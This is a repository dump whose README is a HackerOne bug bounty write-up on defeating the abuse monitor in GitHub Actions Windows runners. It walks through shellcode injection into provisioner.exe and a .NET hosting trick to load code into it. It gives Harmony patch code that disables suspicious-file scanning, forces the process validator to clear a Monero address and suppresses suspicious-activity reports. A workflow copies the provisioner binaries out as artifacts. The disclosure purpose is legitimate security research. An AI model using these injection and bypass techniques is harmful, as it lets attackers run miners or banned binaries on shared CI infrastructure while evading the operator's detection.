├── .gitattributes ├── .github └── workflows │ ├── build.yml │ └── files.yml ├── .gitignore ├── CMakeLists.txt ├── README.md ├── assets ├── 01_provisioner.png ├── 02_dnspy.png ├── 03_ActivityLogMonitorJob.png ├── 04_HostsFileMonitorJob.png ├── 05_MachineHealthMonitorJob.png ├── 06_ProcessMonitorJob.png ├── 07_SuspiciousFilesMonitorJob.png ├── 08_patch_logic.png ├── 09_first_inject.jpeg ├── 10_suspicious_files_checker.png ├── 11_process_checking_job_init.png ├── 12_script_task_validator.png ├── 13_xmr_address_to_trigger.png ├── 14_script_task_validator_check.png ├── 15_process_monitor_job_calls_validator.png ├── 16_how_to_build_and_test_poc.png ├── cat.jpg ├── explained │ ├── 01_how_to_inject.png │ └── 02_how_server_works.png ├── hostfxr_aslr_bypass │ ├── 01_hostfxr_get_runtime_properties.png │ ├── 02_right_address.png │ └── 03_how_to_find_call.png └── reward.png ├── build.bat ├── clean.bat ├── cmake ├── embedded.cmake └── utility.cmake ├── link └── stub.exe ├── projects ├── CMakeLists.txt ├── cpp │ ├── CMakeLists.txt │ ├── app │ │ ├── CMakeLists.txt │ │ ├── bootstrapper │ │ │ ├── CMakeLists.txt │ │ │ ├── include │ │ │ │ ├── README.md │ │ │ │ ├── coreclr_delegates.h │ │ │ │ ├── fx_muxer.h │ │ │ │ └── hostfxr.h │ │ │ └── src │ │ │ │ └── main.cpp │ │ └── codeinjector │ │ │ ├── CMakeLists.txt │ │ │ ├── include │ │ │ └── README.md │ │ │ └── src │ │ │ └── main.cpp │ └── obfuscation │ │ ├── CMakeLists.txt │ │ ├── dump-exports │ │ ├── CMakeLists.txt │ │ └── src │ │ │ └── main.cpp │ │ ├── fakekernel32 │ │ ├── CMakeLists.txt │ │ └── include │ │ │ └── README.md │ │ ├── hash │ │ ├── CMakeLists.txt │ │ └── include │ │ │ └── adler32.h │ │ └── loader │ │ ├── CMakeLists.txt │ │ └── include │ │ └── loader.h ├── csharp │ ├── CMakeLists.txt │ └── patcher │ │ ├── CMakeLists.txt │ │ ├── build.bat │ │ ├── clean.bat │ │ ├── deps │ │ ├── Newtonsoft.Json.dll │ │ ├── mms.client.dll │ │ └── provisioner.framework.dll │ │ ├── patcher.sln │ │ └── patcher │ │ ├── Main.cs │ │ └── patcher.csproj └── rust │ ├── CMakeLists.txt │ ├── dump-assembly │ ├── CMakeLists.txt │ ├── Cargo.toml │ └── src │ │ ├── assembly_header.txt │ │ └── main.rs │ └── shellgen │ ├── CMakeLists.txt │ ├── Cargo.toml │ └── src │ ├── exception_directory.rs │ ├── main.rs │ └── shellcode_header.txt └── scripts └── server.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | *.yml text eol=lf 3 | *.cmake text eol=lf 4 | *.txt text eol=lf 5 | 6 | *.bat text eol=lf 7 | 8 | *.md text eol=lf 9 | 10 | *.h text eol=lf 11 | *.cpp text eol=lf 12 | 13 | *.cs text eol=lf 14 | *.csproj text eol=lf 15 | *.sln text eol=lf 16 | 17 | *.rs text eol=lf 18 | *.toml text eol=lf 19 | 20 | *.git* text eol=lf 21 | -------------------------------------------------------------------------------- /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Build 2 | on: 3 | push: 4 | pull_request: 5 | workflow_dispatch: 6 | 7 | jobs: 8 | build: 9 | if: "!contains(github.event.head_commit.message, '[ci skip]')" 10 | runs-on: windows-latest 11 | 12 | steps: 13 | - uses: actions/checkout@v3 14 | 15 | - name: Build project 16 | run: build.bat 17 | shell: cmd 18 | 19 | - name: Run project 20 | run: python scripts\server.py 21 | shell: cmd 22 | -------------------------------------------------------------------------------- /.github/workflows/files.yml: -------------------------------------------------------------------------------- 1 | name: Give me files for reverse engineering 2 | on: 3 | workflow_dispatch: 4 | 5 | jobs: 6 | build: 7 | runs-on: windows-latest 8 | 9 | steps: 10 | - uses: actions/checkout@v3 11 | 12 | - name: Steal some files for me to analyze 13 | run: | 14 | Copy-Item C:\Windows\System32\kernel32.dll .\ 15 | Copy-Item C:\actions\runner-provisioner-Windows\hostfxr.dll .\ 16 | Copy-Item -Recurse C:\actions\runner-provisioner-Windows .\ 17 | 18 | - uses: actions/upload-artifact@v3 19 | with: 20 | name: libraries 21 | path: | 22 | kernel32.dll 23 | hostfxr.dll 24 | 25 | - uses: actions/upload-artifact@v3 26 | with: 27 | name: program 28 | path: runner-provisioner-Windows 29 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | build 3 | cmake-build-debug 4 | cmake-build-minsizerel 5 | cmake-build-release 6 | cmake-build-relwithdebinfo 7 | projects/cpp/app/bootstrapper/include/assembly.h 8 | projects/cpp/app/codeinjector/include/shellcode.h 9 | projects/cpp/obfuscation/fakekernel32/include/fakekernel32.h 10 | projects/csharp/patcher/.vs 11 | projects/csharp/patcher/patcher/bin 12 | projects/csharp/patcher/patcher/obj 13 | projects/rust/dump-assembly/Cargo.lock 14 | projects/rust/shellgen/Cargo.lock 15 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20) 2 | project(no_one_cares) 3 | 4 | # Checking for MSVC toolchain with C++20 features 5 | 6 | set(CMAKE_CXX_STANDARD 20) 7 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 8 | 9 | if (NOT MSVC) 10 | message(FATAL_ERROR "MSVC toolchain is required!") 11 | endif () 12 | 13 | # Loading useful cmake functions 14 | 15 | include(cmake/embedded.cmake) 16 | include(cmake/utility.cmake) 17 | 18 | # Loading all kinds of projects 19 | 20 | add_subdirectory(projects) 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## What is it? 2 | From July 11 to July 22, 2022, I worked on the old idea associated with an attempt to participate in a HackerOne bug bounty program. 3 | This report related to vulnerability in Github Actions. HackerOne rewared me with 500$ and a t-shirt at August 2, 2022! 4 | 5 | You can verify it in my profile: https://hackerone.com/StackOverflowExcept1on 6 | 7 | ![reward](assets/reward.png) 8 | 9 | ## Table of contents 10 | - [Bypassing `Virtual Environment Provisioner` restrictions to do something unexpected in GitHub Actions](#bypassing-virtual-environment-provisioner-restrictions-to-do-something-unexpected-in-github-actions) 11 | * [Prehistory](#prehistory) 12 | * [What is Virtual Environment Provisioner?](#what-is-virtual-environment-provisioner) 13 | * [My idea without going into the technical part](#my-idea-without-going-into-the-technical-part) 14 | * [How it's could be done?](#how-its-could-be-done) 15 | * [Debugging Virtual Environment Provisioner using TCP-server](#debugging-virtual-environment-provisioner-using-tcp-server) 16 | * [Proof of concept](#proof-of-concept) 17 | * [How to run PoC on GitHub Actions VM?](#how-to-run-poc-on-github-actions-vm) 18 | * [Conclusion](#conclusion) 19 | 20 | ## Bypassing `Virtual Environment Provisioner` restrictions to do something unexpected in GitHub Actions 21 | 22 | I made the private repository that is located at https://github.com/StackOverflowExcept1on/how-to-hack-github-actions and contains source code. 23 | If you can't access it, send me your GitHub username. So, I'll invite you. 24 | 25 | As an alternative, I have attached the code of all projects, which maybe will useful at HackerOne. 26 | 27 | ### Prehistory 28 | 29 | I got interested in writing GitHub Actions script for automation and came across an article: 30 | [Crypto-mining attack in my GitHub actions through Pull Request](https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc) 31 | . It became interesting to me how exactly GitHub prevents such attacks. That's why I did this report. 32 | 33 | ### What is Virtual Environment Provisioner? 34 | 35 | Every time you run GitHub Actions as a normal user on a virtual machine, a program called "Virtual Environment 36 | Provisioner" is launches at the background 37 | 38 | ![01_provisioner](assets/01_provisioner.png) 39 | 40 | I had to use reverse RDP on your system to figure out this. So, all this report targets at `windows-latest` VMs. 41 | Provisioner is located at `C:\actions\runner-provisioner-Windows` in file `provisioner.exe` 42 | 43 | This program deals with the maintenance of the virtual machine, and I could not find it in the Open Source. I decided to 44 | steal it's executable for analysis using the following actions: 45 | 46 | [`.github/workflows/files.yml`](.github/workflows/files.yml) 47 | 48 | ```yaml 49 | name: Give me files for reverse engineering 50 | on: 51 | workflow_dispatch: 52 | 53 | jobs: 54 | build: 55 | runs-on: windows-latest 56 | 57 | steps: 58 | - uses: actions/checkout@v3 59 | 60 | - name: Steal some files for me to analyze 61 | run: | 62 | Copy-Item C:\Windows\System32\kernel32.dll .\ 63 | Copy-Item C:\actions\runner-provisioner-Windows\hostfxr.dll .\ 64 | Copy-Item -Recurse C:\actions\runner-provisioner-Windows .\ 65 | 66 | - uses: actions/upload-artifact@v3 67 | with: 68 | name: libraries 69 | path: | 70 | kernel32.dll 71 | hostfxr.dll 72 | 73 | - uses: actions/upload-artifact@v3 74 | with: 75 | name: program 76 | path: runner-provisioner-Windows 77 | ``` 78 | 79 | After getting the executable, I used [dnSpyEx](https://github.com/dnSpyEx/dnSpy) to analyze it and found many 80 | interesting things 81 | 82 | ![02_dnspy](assets/02_dnspy.png) 83 | 84 | `provisioner.framework.dll` contains this classes, I also did screenshot of the decompiled code to show most important 85 | things: 86 | 87 | - `ActivityLogMonitorJob` - **reports suspicious activity** 88 | ![03_ActivityLogMonitorJob](assets/03_ActivityLogMonitorJob.png) 89 | - `HostsFileMonitorJob` - **checks that `C:\Windows\System32\Drivers\etc\hosts` not changed to block mining pools** 90 | ![04_HostsFileMonitorJob](assets/04_HostsFileMonitorJob.png) 91 | - `MachineHealthMonitorJob` - **sends some (CPU, RAM?) metrics over the network** 92 | ![05_MachineHealthMonitorJob](assets/05_MachineHealthMonitorJob.png) 93 | - `MachineInfoMonitorJob` - not sure 94 | - `NetworkHealthMonitorJob` - checks that network is reachable 95 | - `ProcessMonitorJob` - **checks if process has mining-related activity (arguments, process name)** 96 | ![06_ProcessMonitorJob](assets/06_ProcessMonitorJob.png) 97 | - `ProvjobdMonitorJob` - runs some golang executable file 98 | - `SuspiciousFilesMonitorJob` - **recursively scans for malware/miners at the VM** 99 | ![07_SuspiciousFilesMonitorJob](assets/07_SuspiciousFilesMonitorJob.png) 100 | 101 | So, Virtual Environment Provisioner has security system to prevent abuse actions. If you try to kill `provisioner.exe` 102 | GitHub Actions immediately stop your script. 103 | 104 | ### My idea without going into the technical part 105 | 106 | The process `provisioner.exe` isn't isolated from custom scripts and runs as the user `runneradmin`. My idea is to 107 | inject malicious code into this process right at runtime using custom script. This would allow me to change anything in 108 | the existing security system against mining or abusing. Imagine we could change the functionality that sends CPU metrics 109 | and set CPU usage to near zero. Then we bypass the other constraints and perform actions that should be detected by your 110 | security system. 111 | 112 | ### How it's could be done? 113 | 114 | ![explained_01_how_to_inject](assets/explained/01_how_to_inject.png) 115 | 116 | At first need to perform shellcode injection. You can read about it here: 117 | [Executing Shellcode in Remote Process](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection) 118 | 119 | For this need to do following: 120 | 1. find `provisioner.exe` process id using `CreateToolhelp32Snapshot` and `Process32NextW` 121 | 2. get handle of process by id using `OpenProcess` 122 | 3. allocate virtual memory inside this process using `VirtualAllocEx` 123 | 4. write malicious shellcode bytes into allocated memory using `WriteProcessMemory` 124 | 5. create a thread with malicious code and set the thread's entry point as previously allocated block of memory 125 | using `CreateRemoteThread` 126 | 6. wait for result by calling `WaitForSingleObject` 127 | 7. check if inject was successful using `GetExitCodeThread` 128 | 129 | I put this code into [`projects/cpp/app/codeinjector/src/main.cpp`](projects/cpp/app/codeinjector/src/main.cpp). So, you 130 | can see how it was done 131 | 132 | This injection is still not enough to get to c# code. I spent about a week while doing reverse engineering work dotnet 133 | internals and found this 134 | article: [Write a custom .NET host to control the .NET runtime from your native code](https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting) 135 | 136 | It contains useful code that I used to produce my own injector to NET Core applications. I really couldn't solve this 137 | problem for a long time. The first successful injector was written on May 7, 2021. 138 | 139 | Well, I wrote module that is called `bootstrapper`. You again can see source code if you need at 140 | [`projects/cpp/app/bootstrapper/src/main.cpp`](projects/cpp/app/bootstrapper/src/main.cpp) 141 | 142 | How to inject into dotnet runtime? 143 | 1. extract C# DLLs into `%TEMP%` directory 144 | 2. find base address of `hostfxr.dll` library 145 | 3. find `hostfxr_get_runtime_delegate()` address 146 | 4. the most hard thing was obtain `fx_muxer_t::get_active_host_context()` function address 147 | 148 | This function isn't marked as exported. The only way to find it is to search through the machine code and find 2nd 149 | call instruction. After that need to do the same as the processor to calculate the address 150 | 151 | So, I used IDA Pro to locate where `fx_muxer_t::get_active_host_context()` is used. 152 | It's used in `hostfxr_get_runtime_properties` which is also exported! It allows me to get address of this function 153 | ![hostfxr_aslr_bypass_01](assets/hostfxr_aslr_bypass/01_hostfxr_get_runtime_properties.png) 154 | 155 | We need only the line: 156 | ``` 157 | .text:00000001800135FA E8 E1 35 00 00 call fx_muxer_t::get_active_host_context(void) 158 | ``` 159 | 160 | In x86_64 assembler each call instruction starts from opcode `0xE8`: 161 | see https://www.felixcloutier.com/x86/call 162 | 163 | `E1 35 00 00` is offset that determines where to jump, it's encoded as little endian. 164 | This instruction can be decoded as `[.text:00000001800135FA] call 0x35E1` 165 | 166 | So, we can calculate address of `fx_muxer_t::get_active_host_context()`: 167 | `0x00000001800135FA + 0x35E1 + 5 = 0x180016be0` 168 | - where `5` is size of call instruction 169 | - `0x00000001800135FA` is RIP register 170 | 171 | In IDA Pro we can jump to `0x180016be0` and make sure that address is really points to 172 | `fx_muxer_t::get_active_host_context()`: 173 | 174 | ![02_hostfxr_aslr_bypass](assets/hostfxr_aslr_bypass/02_right_address.png) 175 | 176 | Now imagine if we write a program that does the same at runtime! It will just run through each byte and read the 177 | machine code until it finds 0xE8, and then calculate the address 178 | ![03_hostfxr_aslr_bypass](assets/hostfxr_aslr_bypass/03_how_to_find_call.png) 179 | 180 | There is way that I used: 181 | ```cpp 182 | /// function pointer to `hostfxr_get_runtime_properties` (exported) 183 | auto hostfxr_get_runtime_properties_fptr = loader::GetExportByHash( 184 | base, 185 | adler32::hash_fn_compile_time("hostfxr_get_runtime_properties") 186 | ); 187 | 188 | /// look for 2-nd x86_64 `call` instruction (opcode 0xE8, size 5 bytes) 189 | /// based on code xrefs 190 | auto buf = reinterpret_cast(hostfxr_get_runtime_properties_fptr); 191 | 192 | uint8_t count = 0; 193 | while (count != 2) { 194 | if (*buf++ == 0xE8) { 195 | count++; 196 | } 197 | } 198 | 199 | auto instructionAddress = reinterpret_cast(buf); 200 | auto functionAddress = instructionAddress + *reinterpret_cast(buf) + 5; 201 | 202 | /// function pointer to `fx_muxer_t::get_active_host_context` 203 | auto get_active_host_context_fptr = reinterpret_cast(functionAddress); 204 | ``` 205 | 206 | 5. call `fx_muxer_t::get_active_host_context()` to get active dotnet runtime context 207 | 6. call `hostfxr_get_runtime_delegate()` to get native function pointer to the requested runtime functionality. It's 208 | saved as `delegate` 209 | 7. obtain `load_assembly_and_get_function_pointer_fn()` using saved `delegate` 210 | 8. call `load_assembly_and_get_function_pointer_fn()` with C# AssemblyInfo to inject. It will produce entrypoint 211 | function to C++ code into C# 212 | 9. call entrypoint, in C# it's marked as `[UnmanagedCallersOnly]` 213 | 214 | After successful injection I can use [Harmony](https://github.com/pardeike/Harmony) library to attach my code to any 215 | function of `provisioner.exe`. I can insert my custom code at the beginning of any C# function, then cancel execution of 216 | original function. Also, Harmony library allows performing custom code at end of function to replace its result. 217 | 218 | ![08_patch_logic](assets/08_patch_logic.png) 219 | 220 | ### Debugging Virtual Environment Provisioner using TCP-server 221 | 222 | ![explained_02_how_server_works](assets/explained/02_how_server_works.png) 223 | 224 | After a successful injection, the code will connect to my computer on the port 1337 and will send logs to me. 225 | 226 | I wrote C# library that intercepts function 227 | ```csharp 228 | namespace Microsoft.AzureDevOps.Provisioner.Framework.Monitoring { 229 | class SuspiciousFilesMonitorJob { 230 | private bool SuspiciousSignatureExists(string directory, int currDepth) { ... } 231 | } 232 | } 233 | ``` 234 | 235 | using code like this 236 | 237 | ```csharp 238 | [HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))] 239 | public class SuspiciousFilesMonitorJobPatches 240 | { 241 | [HarmonyPrefix] 242 | [HarmonyPatch("SuspiciousSignatureExists")] 243 | static void SuspiciousSignatureExists( 244 | Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance, 245 | string directory, 246 | int currDepth 247 | ) 248 | { 249 | NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})"); 250 | } 251 | } 252 | ``` 253 | 254 | The `NetworkLogger` will send all information to any IPv4 address. 255 | 256 | I started a local server on GitHub Actions VM and just walked away for 15 minutes to get logs. 257 | 258 | ![09_first_inject](assets/09_first_inject.jpeg) 259 | 260 | As you can see, intercepting of function works! 261 | 262 | ### Proof of concept 263 | 264 | Okay, now let's try to do the following: 265 | - bypass check for suspicious files (related to SuspiciousFilesMonitorJob) 266 | - bypass processes checking and their arguments (related to ProcessMonitorJob) 267 | - don't report about suspicious activity to GitHub host 268 | 269 | As I showed earlier, there is such a function for recursively scanning directories 270 | ```csharp 271 | namespace Microsoft.AzureDevOps.Provisioner.Framework.Monitoring { 272 | class SuspiciousFilesMonitorJob { 273 | private bool SuspiciousSignatureExists(string directory, int currDepth) { ... } 274 | } 275 | } 276 | ``` 277 | 278 | Look at the screenshot above, it works like this: 279 | ``` 280 | SuspiciousSignatureExists(directory=@"D:\a", currDepth=0); 281 | SuspiciousSignatureExists(directory=@"D:\a\test-repo", currDepth=1); 282 | SuspiciousSignatureExists(directory=@"D:\a\test-repo\test-repo", currDepth=2); 283 | ... 284 | ``` 285 | 286 | Also let's look at the decompiled code to understand its logic: 287 | 288 | ![10_suspicious_files_checker](assets/10_suspicious_files_checker.png) 289 | 290 | This function will recursively go down through the directories until it reaches depth 5. 291 | So, I wrote a HarmonyPatch to fix that and remove all checks! 292 | 293 | ```csharp 294 | [HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))] 295 | public class SuspiciousFilesMonitorJobPatches 296 | { 297 | [HarmonyPrefix] 298 | [HarmonyPatch("SuspiciousSignatureExists")] 299 | static bool SuspiciousSignatureExists( 300 | Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance, 301 | string directory, 302 | int currDepth, 303 | ref bool __result 304 | ) 305 | { 306 | NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})"); 307 | __result = false; //no suspicious files 308 | 309 | //don't call SuspiciousFilesMonitorJob.SuspiciousSignatureExists(...) 310 | //now provisioner will not scan subfolders at all 311 | return false; 312 | } 313 | } 314 | ``` 315 | 316 | Now this functions will stop scan and log it on `currDepth=0`. There is example output of this: 317 | ``` 318 | Suspicious Files Monitor // SuspiciousSignatureExists(directory=@"D:\a", currDepth=0) 319 | ``` 320 | 321 | By changing this behavior, the attacker could launch a miner, a trojan, anything prohibited on GitHub Actions! 322 | 323 | As another example, I'll show you a way to bypass ProcessMonitorJob, but this requires reverse engineering 324 | 325 | ProcessMonitorJob references to ScriptTaskValidator in Initialize function 326 | 327 | ![11_process_checking_job_init](assets/11_process_checking_job_init.png) 328 | 329 | Then ScriptTaskValidator creates List of IBadTokenProvider. 330 | One provider is comes from the constructor, the second is static. 331 | As a result, bad tokens are generated (`this.m_regexesToMatch`, `this.m_stringsToMatch`) to search for malicious processes 332 | 333 | ![12_script_task_validator](assets/12_script_task_validator.png) 334 | 335 | ScriptTaskValidator also has BaseBadTokenProvider, which is implemented in the same namespace. 336 | For example, it can find the Monero address in the process arguments: 337 | 338 | ![13_xmr_address_to_trigger](assets/13_xmr_address_to_trigger.png) 339 | 340 | As I know Monero address length is 95 characters. So, regex `"4[1-9a-km-zA-HJ-NP-Z]{94}"` is related to XMR. 341 | Next, we can see that these bad tokens are used in the method `HasBadParamOrArgument`: 342 | 343 | ![14_script_task_validator_check](assets/14_script_task_validator_check.png) 344 | 345 | Function signature looks like this: 346 | ```csharp 347 | namespace GitHub.DistributedTask.Pipelines.Validation { 348 | class ScriptTaskValidator { 349 | public bool HasBadParamOrArgument(string exeAndArgs, out string matchedPattern, out string matchedToken) { ... } 350 | } 351 | } 352 | ``` 353 | 354 | Then this function is finally called in ProcessMonitorJob: 355 | 356 | ![15_process_monitor_job_calls_validator](assets/15_process_monitor_job_calls_validator.png) 357 | 358 | I decided that I would not do anything bad and just demonstrate to you how to trigger security system and then my hook 359 | bypass it's check. For example, I will replace the beginning of this function, then add Monero address to its 360 | argument `exeAndArgs`. That functions will alreays. Now the function will mark all processes as malicious, I just would 361 | log it's args and result for demo. At the end of the function, I will change the result to `false`. I don't want to get 362 | ban from GitHub ;D 363 | 364 | ```csharp 365 | [HarmonyPatch(typeof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator))] 366 | public class ScriptTaskValidatorPatches 367 | { 368 | [HarmonyPrefix] 369 | [HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))] 370 | static void HasBadParamOrArgument_Prefix(ref string exeAndArgs) 371 | { 372 | //trigger provisioner by appending XMR address to exeAndArgs 373 | exeAndArgs += " 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD"; 374 | } 375 | 376 | [HarmonyPostfix] 377 | [HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))] 378 | static void HasBadParamOrArgument_Postfix(string exeAndArgs, ref bool __result) 379 | { 380 | //checking result from original function HasBadParamOrArgument(...), it would be True for all processes 381 | NetworkLogger.GetInstance().Write($"ScriptTaskValidator // HasBadParamOrArgument({exeAndArgs}, ..., ...) = {__result}"); 382 | __result = false; //set result to false to bypass provisioner check ;D 383 | } 384 | } 385 | ``` 386 | 387 | There is example output after doing this patch: 388 | ``` 389 | ScriptTaskValidator // HasBadParamOrArgument(dotnet "C:\Program Files\dotnet\dotnet.exe" exec "C:\Program Files\dotnet\sdk\6.0.301\Roslyn\bincore\VBCSCompiler.dll" "-pipename:q1wL+usWKy9lMQy0zJFLX69E5zGeeP3NsF75bARkrok" 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True 390 | ScriptTaskValidator // HasBadParamOrArgument(conhost \??\C:\Windows\system32\conhost.exe 0x4 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True 391 | ScriptTaskValidator // HasBadParamOrArgument(cmd "C:\Windows\system32\cmd.EXE" /D /E:ON /V:OFF /S /C "CALL "D:\a\_temp\b6691e1d-9d87-4460-bf1f-42cf7bfa196d.cmd"" 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True 392 | ScriptTaskValidator // HasBadParamOrArgument(python python scripts\server.py 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True 393 | ScriptTaskValidator // HasBadParamOrArgument(taskhostw taskhostw.exe 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True 394 | ``` 395 | 396 | Such an attack may allow a Monero miner to be launched without reporting suspicious activity. 397 | Speaking of suspicious activity, I can also replace the function that reports it, but I haven't tested that so as not to do anything banned on 398 | the GitHub 399 | 400 | Here is example code to do it: 401 | ```csharp 402 | [HarmonyPatch(typeof(MachineManagement.Provisioning.MachineManagementClient))] 403 | public class MachineManagementClientPatches 404 | { 405 | [HarmonyPrefix] 406 | [HarmonyPatch(nameof(MachineManagement.Provisioning.MachineManagementClient.ReportSuspiciousActivityAsync))] 407 | static bool ReportSuspiciousActivityAsync( 408 | long requestId, 409 | byte[] postRegistrationAccessToken, 410 | string suspiciousActivity, 411 | string poolName, 412 | string instanceName, 413 | ref Task __result 414 | ) 415 | { 416 | var token = Convert.ToHexString(postRegistrationAccessToken); 417 | NetworkLogger.GetInstance().Write($"MachineManagementClient // ReportSuspiciousActivityAsync({requestId}, {token}, {suspiciousActivity}, {poolName}, {instanceName})"); 418 | __result = new Task(() => { 419 | //replace task with nothing 420 | }); 421 | return false; //don't call MachineManagementClient.ReportSuspiciousActivityAsync(...) 422 | } 423 | } 424 | ``` 425 | 426 | You can see full code at [`projects/csharp/patcher/patcher/Main.cs`](projects/csharp/patcher/patcher/Main.cs) 427 | 428 | ### How to run PoC on GitHub Actions VM? 429 | 430 | I made a complete project which has the file [`.github/workflows/build.yml`](.github/workflows/build.yml) to do this. 431 | You can upload it to GitHub, then it will automatically run action that's builds payload from sources, runs local python 432 | server and exits after 15 minutes. 433 | 434 | If you want to repeat this, you can do as in the screenshot: 435 | ![16_how_to_build_and_test_poc](assets/16_how_to_build_and_test_poc.png) 436 | 437 | ### Conclusion 438 | 439 | In theory, a hacker can do a lot of bad things knowing such an attack vector. I just showed a proof of concept that 440 | allows a hacker to bypass Virtual Environment Provisioner restrictions to execute bad binaries without immediately ban 441 | by your automatic security system. 442 | 443 | ![cat](assets/cat.jpg) 444 | -------------------------------------------------------------------------------- /assets/01_provisioner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/01_provisioner.png -------------------------------------------------------------------------------- /assets/02_dnspy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/02_dnspy.png -------------------------------------------------------------------------------- /assets/03_ActivityLogMonitorJob.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/03_ActivityLogMonitorJob.png -------------------------------------------------------------------------------- /assets/04_HostsFileMonitorJob.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/04_HostsFileMonitorJob.png -------------------------------------------------------------------------------- /assets/05_MachineHealthMonitorJob.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/05_MachineHealthMonitorJob.png -------------------------------------------------------------------------------- /assets/06_ProcessMonitorJob.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/06_ProcessMonitorJob.png -------------------------------------------------------------------------------- /assets/07_SuspiciousFilesMonitorJob.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/07_SuspiciousFilesMonitorJob.png -------------------------------------------------------------------------------- /assets/08_patch_logic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/08_patch_logic.png -------------------------------------------------------------------------------- /assets/09_first_inject.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/09_first_inject.jpeg -------------------------------------------------------------------------------- /assets/10_suspicious_files_checker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/10_suspicious_files_checker.png -------------------------------------------------------------------------------- /assets/11_process_checking_job_init.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/11_process_checking_job_init.png -------------------------------------------------------------------------------- /assets/12_script_task_validator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/12_script_task_validator.png -------------------------------------------------------------------------------- /assets/13_xmr_address_to_trigger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/13_xmr_address_to_trigger.png -------------------------------------------------------------------------------- /assets/14_script_task_validator_check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/14_script_task_validator_check.png -------------------------------------------------------------------------------- /assets/15_process_monitor_job_calls_validator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/15_process_monitor_job_calls_validator.png -------------------------------------------------------------------------------- /assets/16_how_to_build_and_test_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/16_how_to_build_and_test_poc.png -------------------------------------------------------------------------------- /assets/cat.jpg: -------------------------------------------------------------------------------- 